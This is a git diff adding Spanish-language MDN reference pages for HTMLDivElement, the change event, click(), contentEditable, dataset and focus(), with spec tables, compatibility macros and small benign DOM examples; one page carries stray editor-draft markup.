diff --git a/files/es/web/api/htmldivelement/index.html b/files/es/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..164b6f7108
--- /dev/null
+++ b/files/es/web/api/htmldivelement/index.html
@@ -0,0 +1,125 @@
+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+tags:
+  - API
+  - HTML DOM
+  - Interfaz
+  - NeedsNewLayout
+  - Referencia
+translation_of: Web/API/HTMLDivElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div> </div>
+
+<p>La interfaz <strong><code>HTMLDivElement</code></strong> provee propiedades especiales (más allá de la interfaz regular {{domxref("HTMLElement")}} que también está disponible por herencia) para manipular elementos div.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda las propiedades de su padre, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que representa una propiedad enumerada que indica la alineación de los contenidos del elemento con respecto al contexto circundante. Los posibles valores son <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, and <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>No hay métodos específicos; hereda los métodos de su padre, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No hay cambios de  {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>No hay cambios de {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No hay cambios de {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento HTML que implementa esta interfaz: {{ HTMLElement("div") }}.</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/change_event/index.html b/files/es/web/api/htmlelement/change_event/index.html
new file mode 100644
index 0000000000..25642a5322
--- /dev/null
+++ b/files/es/web/api/htmlelement/change_event/index.html
@@ -0,0 +1,143 @@
+---
+title: 'HTMLElement: Evento change'
+slug: Web/API/HTMLElement/change_event
+tags:
+  - Change
+  - DOM
+  - Evento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/API/HTMLElement/change_event
+---
+<div>{{APIRef}}</div>
+
+<p>El evento <code>change</code> se dispara para elementos {{HTMLElement("input")}}, {{HTMLElement("select")}}, y {{HTMLElement("textarea")}} cuando una alteración al valor de un elemento es confirmada por el usuario. A diferencia del evento {{event("input")}}, el evento <code>change</code> no es disparado necesariamente por cada alteración al valor <code>value</code> del elemento</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Burbujas</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propiedad del manejador del evento</th>
+   <td><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Dependiendo del tipo de elemento siendo cambiado y la forma en que el usuario interactua con el elemento, el evento <code>change</code> dispara en un momento diferente:</p>
+
+<ul>
+ <li>Cuando el elemento es <code>:checked</code> (ya sea dando click o usuando el teclado) para elementos <code>&lt;input type="radio"&gt;</code> y <code>&lt;input type="checkbox"&gt;</code>;</li>
+ <li>Cuando el usuario confirma el cambio explícitimante (por ejemplo, al seleccionar un valor de un menú desplegable {{HTMLElement("select")}} con un clic del ratón, al seleccionar una fecha de un selector de fecha de un elemento <code>&lt;input type="date"&gt;</code>, al seleccionar un archivo en un selector de archivo por un elemento <code>&lt;input type="file"&gt;</code>, etc.);</li>
+ <li>Cuando un elemento pierde el foco después de que su valor haya sido cambiado, pero no confirmado (es decir, despues de editar el valor de un elemento {{HTMLElement("textarea")}} o <code>&lt;input type="text"&gt;</code>).</li>
+</ul>
+
+<p>La especificaciones HTML listan <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply" title="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">los tipos de <code>&lt;input&gt;</code> que deberían disparar el evento <code>change</code></a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplos_Live_Elemento_select">Ejemplos Live: Elemento select</h3>
+
+<div class="select-example">
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;label&gt;Elija un sabor de nieve:
+    &lt;select class="nieve" name="nieve"&gt;
+        &lt;option value=""&gt;Seleccione Uno …&lt;/option&gt;
+        &lt;option value="chocolate"&gt;Chocolate&lt;/option&gt;
+        &lt;option value="sardina"&gt;Sardina&lt;/option&gt;
+        &lt;option value="vainilla"&gt;Vainilla&lt;/option&gt;
+    &lt;/select&gt;
+&lt;/label&gt;
+
+&lt;div class="resultado"&gt;&lt;/div&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  display: grid;
+  grid-template-areas: "select  result";
+}
+
+select {
+  grid-area: select;
+}
+
+.resultado {
+  grid-area: result;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const selectElement = document.querySelector('.nieve');
+
+selectElement.addEventListener('change', (event) =&gt; {
+    const resultado = document.querySelector('.resultado');
+    resultado.textContent = `Te gusta el sabor ${event.target.value}`;
+});
+</pre>
+</div>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{ EmbedLiveSample('select-example', '100%', '75px') }}</p>
+
+<h3 id="Elemento_de_entrada_de_texto">Elemento de entrada de texto</h3>
+
+<p>Para algunos elementos, incluyendo <code>&lt;input type="text"&gt;</code>, el evento <code>change</code> no se lanza hasta que el campo pierde el foco. Prueba a introducir algo en el campo anterior, y luego pulsa en algún otro lugar para lanzar el evento.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">placeholder</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Enter some text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>name<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>log<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> input <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">const</span> log <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'log'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+input<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'change'</span><span class="punctuation token">,</span> updateValue<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">updateValue</span><span class="punctuation token">(</span><span class="parameter token">e</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  log<span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>target<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Text_input_element', '100%', '75px') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "indices.html#event-change", "change")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.change_event")}}</p>
+
+<p>Diferentes navegadores no siempre concuerdan cuando un evento <code>change</code> debería ser disparado para ciertos tipo de interacciones. Por ejemplo, navegación por teclado en en elementos {{HTMLElement("select")}} nunca disparan el evento <code>change</code> en Gecko hasta que el usuario presiona Enter o cambia el foco fuera del <code>&lt;select&gt;</code> (ver {{bug("126379")}}). A partir de Firefox 63 (Quantum), sin embargo, este comportamiento es consistente entre los mayores navegadores.</p>
diff --git a/files/es/web/api/htmlelement/click/index.html b/files/es/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..0f6d7983c7
--- /dev/null
+++ b/files/es/web/api/htmlelement/click/index.html
@@ -0,0 +1,88 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+tags:
+  - HTMLElement
+  - Referencia
+  - metodo
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>El método <code><strong>HTMLElement.click()</strong></code> simula el click de un ratón físico en un elemento HTML.</p>
+
+<p>Cuando <code>click()</code> se usa en un elemento que soporte este método (como un elemento {{HTMLElement("input")}}), el elemento lanza el evento asociado al click. Luego, este evento iniciará otros eventos asociados al clicado en elementos más altos en la jerarquía del documento html (o de la cadena de eventos).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>elemento</em>.click()</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("api.HTMLElement.click")}}</p>
+
+
+<h3 id="Traducción_en_Español">Traducción en Español:</h3>
+
+
+
+<article class="localized">
+<div class="guide-links"><a href="https://developer.mozilla.org/es/docs/MDN/Community">¿Necesitas ayuda?</a> • <a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Editor">Guía editorial</a> • <a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Content/Style_guide">Guía de estilo</a></div>
+
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="draft-container">
+<div class="draft-old"> </div>
+
+<div class="draft-status"><span id="draft-action">Borrador autoguardado: <time class="time-ago" id="draft-time" title="2018-05-27T03:51:54.273Z">26/5/2018 21:51:54</time></span></div>
+</div>
+
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="editor-tools"> </div>
+
+<div style="height: 173px;">
+<div style="border: 1px solid rgb(182, 182, 182); width: 617px; position: fixed; top: 0px;"> </div>
+</div>
+</div>
+</div>
+</div>
+</article>
+
+<article class="localized">
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="cke" dir="ltr" id="cke_id_content" lang="es">
+<div>
+<div id="cke_1_contents" style="height: 947px;"> </div>
+</div>
+</div>
+</div>
+</div>
+</div>
+</article>
+
+<p> </p>
diff --git a/files/es/web/api/htmlelement/contenteditable/index.html b/files/es/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..bbb0749b7f
--- /dev/null
+++ b/files/es/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,57 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">La propiedad <strong><code>contentEditable</code></strong> de la interfaz {{domxref("HTMLElement")}} especifica si el elemento es editable o no.</span> Este atributo puede tener los siguientes valores:</p>
+
+<ul>
+ <li><code>'true'</code> indica si el elemento es <code>contenteditable</code>.</li>
+ <li><code>'false'</code> indica que el elemento no puede ser editado.</li>
+ <li><code>'inherit'</code> indica que el elemento hereda el estado editable del padre.</li>
+</ul>
+
+<p>Se puede usar la propiedad {{domxref("HTMLElement.isContentEditable")}} para comprobar el valor {{jsxref("Boolean")}} de esta propiedad.</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox"><em>editable</em> = <em>element</em>.contentEditable
+<em>element</em>.contentEditable = 'true'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.contentEditable")}}</p>
+
+<p>In Internet Explorer, <code>contenteditable</code> cannot be applied to the {{htmlelement("table")}}, {{htmlelement("col")}}, {{htmlelement("colgroup")}}, {{htmlelement("tbody")}}, {{htmlelement("td")}}, {{htmlelement("tfoot")}}, {{htmlelement("th")}}, {{htmlelement("thead")}}, and {{htmlelement("tr")}} elements directly. A content editable {{htmlelement("span")}} or {{htmlelement("div")}} element can be placed inside the individual table cells.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Editable_content">Making content editable</a></li>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>The {{htmlattrxref("contenteditable")}} global attribute.</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/dataset/index.html b/files/es/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..10c6f555f9
--- /dev/null
+++ b/files/es/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,132 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary">La propiedad <code><strong>dataset</strong></code> en {{domxref("HTMLElement")}} proporciona una interfaz lectura/escritura para obtener todos los <a href="/es/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">atributos de datos personalizados</a> (<code>data-*</code>) de cada uno de los elementos.</span> Está disponible el acceso en HTML y en el DOM.  Dentro del <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, aparece una entrada por cada atributo de datos. Hay que tener en cuenta que la propiedad<strong> </strong><code>dataset</code><strong> </strong>puede leerse, pero no modificarse directamente.  En vez de eso, las escrituras deben ser realizadas a través de cada propiedad individual del <code>dataset</code>, que representan a cada atributo correspondiente. Además un HTML <code><strong>data-</strong></code><em>attribute</em> y su correspondiente DOM<strong> </strong><code>dataset.</code><em>property</em> no comparten el mismo nombre, pero son siempre similares:</p>
+
+<ul>
+ <li>El nombre de un attributo de datos comienza en HTML con <code>data-</code>. Sólo puede estar formado por letras minúsculas, números y los caracteres: guión (<code>-</code>), punto (<code>.</code>), dos puntos (<code>:</code>) y guión bajo (<code>_</code>) -- NUNCA una letra mayúscula (A a Z).</li>
+ <li>El nombre del atributo en JavaScript será el del correspondiente atributo HTML pero en camelCase, sin guiones, puntos, etc.</li>
+</ul>
+
+<p>Adicionalmente, encontrarás una guía de como usar los atributos data de HTML en nuestro articulo <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes.</a></p>
+
+<h3 id="Conversion_de_nombres">Conversion de nombres</h3>
+
+<p><code>dash-style</code> a <code>camelCase</code>: Un atributo de datos personalizado se transforma en una clave para la entrada {{ domxref("DOMStringMap") }} con las siguientes reglas</p>
+
+<ul>
+ <li>el prefijo <code>data-</code> es eliminado (incluyendo el guión);</li>
+ <li>por cada guión (<code>U+002D</code>) seguido de un caracter ASCII que sea una letra en minuscula<span style="line-height: 1.5;"> </span><code>a</code><span style="line-height: 1.5;"> a la </span><code>z</code><span style="line-height: 1.5;">, el guión es removido y la letra se transforma en su contraparte en mayuscula;</span></li>
+ <li>otros caracteres (incluyendo otros guines) se mantienen intactos.</li>
+</ul>
+
+<p><code>camelCase</code> a <code>dash-style</code>: La conversión opuesta, mapea una clave en un nombre de atributo, usa las siguientes reglas:</p>
+
+<ul>
+ <li>Restricción: Un guión no debe ser inmediatamente seguido por un un caracter ASCII que sea una letra minuscula de la <code>a</code> a la <code>z</code> (antes de la conversión);</li>
+ <li>se agrega el prefijo <code>data-</code>;</li>
+ <li>cualquier caracter ASCII que sea una letra mayuscula de la <code>A</code> a la <code>Z</code> se convierte en un guión seguido de se contraparte en minuscula;</li>
+ <li>otros caracteres se mantienen intactos.</li>
+</ul>
+
+<p>La restricción en las reglas anteriores aseguran que las dos conversiones sean inversas una a la otra.</p>
+
+<p>Por ejemplo, el atributo nombrado <code>data-abc-def</code> corresponde a la clave <code>abcDef</code>.</p>
+
+<ul>
+</ul>
+
+<h3 id="Accediendo_valores">Accediendo valores</h3>
+
+<ul>
+ <li>Los atributos pueden ser definidos y obtenidos usando el nombre camelCase (la clave) como la propiedad de un objeto del dataset, como en <code>element.dataset.keyname</code></li>
+ <li>Los atributos tambien pueden ser definidos y obtenidos usando la sintaxis de corchetes, como en <code>element.dataset[keyname]</code></li>
+ <li>El <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">operador <code>in</code></a> puede ser usado para checar si un atributo dado existe.</li>
+</ul>
+
+<h3 id="Definiendo_valores">Definiendo valores</h3>
+
+<ul>
+ <li>Cuando un atributo es definido, su valor siempre se convierte a string. Por ejemplo, <code>null</code> siempre se convierte en el string "null".</li>
+ <li>Cuando quieras remover un atributo, puedes usar el <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">operador <code>delete</code></a>.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <br>
+ <li><em>Custom data attributes can also be set directly on HTML elements, but attribute names must use the data- syntax above. </em></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;</pre>
+
+<pre class="brush: js">const el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The HTML <code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a></code> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+ <li>{{domxref("Element.getAttribute()")}} and {{domxref("Element.setAttribute()")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/focus/index.html b/files/es/web/api/htmlelement/focus/index.html
new file mode 100644
index 0000000000..d615cbf12e
--- /dev/null
+++ b/files/es/web/api/htmlelement/focus/index.html
@@ -0,0 +1,164 @@
+---
+title: HTMLElement.focus()
+slug: Web/API/HTMLElement/focus
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - Referencia
+  - metodo
+translation_of: Web/API/HTMLOrForeignElement/focus
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>El método <code><strong>HTMLElement.focus()</strong></code> fija el foco del cursor en el elemento indicado, si éste puede ser enfocado.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.focus();
+element.focus(focusOption); // Object parameter</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>focusOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Es un objeto con la siguiente propiedad:</dd>
+ <dd>
+ <dl>
+  <dt><code>preventScroll</code> {{optional_inline}}</dt>
+  <dd>Es un valor <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>:
+  <ul>
+   <li>Si es <code>false</code>, el método hará scroll hasta que el elemento esté visible en la ventana del navegador</li>
+   <li>Si es <code>true</code>,  el método NO hará scroll hasta que el elemento esté visible en la ventana del navegador.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Enfocar_un_campo_de_texto" name="Enfocar_un_campo_de_texto">Enfocar un campo de texto</h3>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input type="text" id="myTextField" value="Campo de texto."&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;¡Púlsame para enfocar el campo de texto!&lt;/button&gt;
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p>
+
+<h3 id="Enfocar_un_botón" name="Enfocar_un_botón">Enfocar un botón</h3>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;button type="button" id="myButton"&gt;Púlsame!&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button type="button" onclick="focusMethod()"&gt;¡Púlsame para enfocar el botón!&lt;/button&gt;
+</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p>
+
+
+
+<h3 id="Enfocar_con_focusOption" name="Enfocar_con_focusOption">Enfocar con focusOption</h3>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;button type="button" onclick="focusScrollMethod()"&gt;¡Púlsame para enfocar el botón!&lt;/button&gt;
+&lt;button type="button" onclick="focusNoScrollMethod()"&gt;¡Púlsame para enfocar el botón sin hacer scroll!&lt;/button&gt;
+
+&lt;div id="container" style="height: 1000px; width: 1000px;"&gt;
+&lt;button type="button" id="myButton" style="margin-top: 500px;"&gt;¡Púlsame!&lt;/button&gt;
+&lt;/div&gt;
+
+</pre>
+
+<h4 id="Resultado_3">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Si se llama a <code>HTMLElement.focus()</code> desde un gestor de eventos "mousedown" (ratón presionado), se debe también llamar al método <code>event.preventDefault()</code> para evitar que el foco abandone <code>HTMLElement</code><strong>.</strong></p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.focus")}}</p>
+
